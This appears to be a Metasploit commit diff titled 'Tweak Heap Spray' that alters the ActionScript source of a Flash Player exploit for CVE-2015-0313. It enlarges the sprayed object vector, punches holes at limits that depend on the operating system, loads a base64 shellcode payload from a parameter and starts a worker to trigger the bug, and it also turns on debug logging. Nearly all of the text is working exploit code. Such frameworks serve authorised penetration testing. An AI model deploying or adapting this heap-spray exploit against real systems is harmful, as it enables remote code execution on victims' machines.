Tweak Heap Spray

Author: jvazquez-r7

data/exploits/CVE-2015-0313/msf.swf

@@ -23,7 +23,7 @@ import mx.utils.Base64Decoder
 
 public class Exploit extends Sprite
 {
-    private var ov:Vector.<Object> = new Vector.<Object>(80000)
+    private var ov:Vector.<Object> = new Vector.<Object>(120000)
     private var uv:Vector.<uint>
     private var ba:ByteArray = new ByteArray()
     private var worker:Worker
@@ -44,6 +44,16 @@ public class Exploit extends Sprite
     {
         platform = LoaderInfo(this.root.loaderInfo).parameters.pl
         os = LoaderInfo(this.root.loaderInfo).parameters.os
+		Logger.log("od: " + os)
+		var ov_limit:uint
+		if (os == "Windows 8.1" || os == "Windows 8") {
+			ov_limit = 80000
+		} else {
+			ov_limit = 60000
+		}
+		Logger.log("ov: " + ov.length.toString())
+		Logger.log("ov_limit: " + ov_limit.toString())
+		
         var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
         var pattern:RegExp = / /g;
         b64_payload = b64_payload.replace(pattern, "+")
@@ -52,11 +62,13 @@ public class Exploit extends Sprite
 
         ba.length = 0x1000
         ba.shareable = true
+		Logger.log("spray")
         for (var i:uint = 0; i < ov.length; i++) {
             ov[i] = new Vector.<uint>(1014)
             ov[i][0] = 0xdeedbeef
         }
-        for (i = 0; i < ov.length / 2; i += 2) {
+		Logger.log("holes")
+        for (i = 0; i < ov_limit; i += 2) {
 			delete(ov[i])
 		}
         worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
@@ -65,6 +77,7 @@ public class Exploit extends Sprite
         worker.setSharedProperty("mc", mc)
         worker.setSharedProperty("ba", ba)
         ApplicationDomain.currentDomain.domainMemory = ba
+		Logger.log('go')
         worker.start()
     }
 

external/source/exploits/CVE-2015-0313/Exploit.as

@@ -32,7 +32,7 @@ package
             payload = p
             platform = pl
             op_system = os
-
+			
             ev = new ExploitVector(uv)
             if (!ev.is_ready()) return
             eba = new ExploitByteArray(platform)

external/source/exploits/CVE-2015-0313/Exploiter.as

@@ -3,7 +3,7 @@ package
     import flash.external.ExternalInterface
 
     public class Logger {
-        private static const DEBUG:uint = 0
+        private static const DEBUG:uint = 1
 
         public static function alert(msg:String):void
         {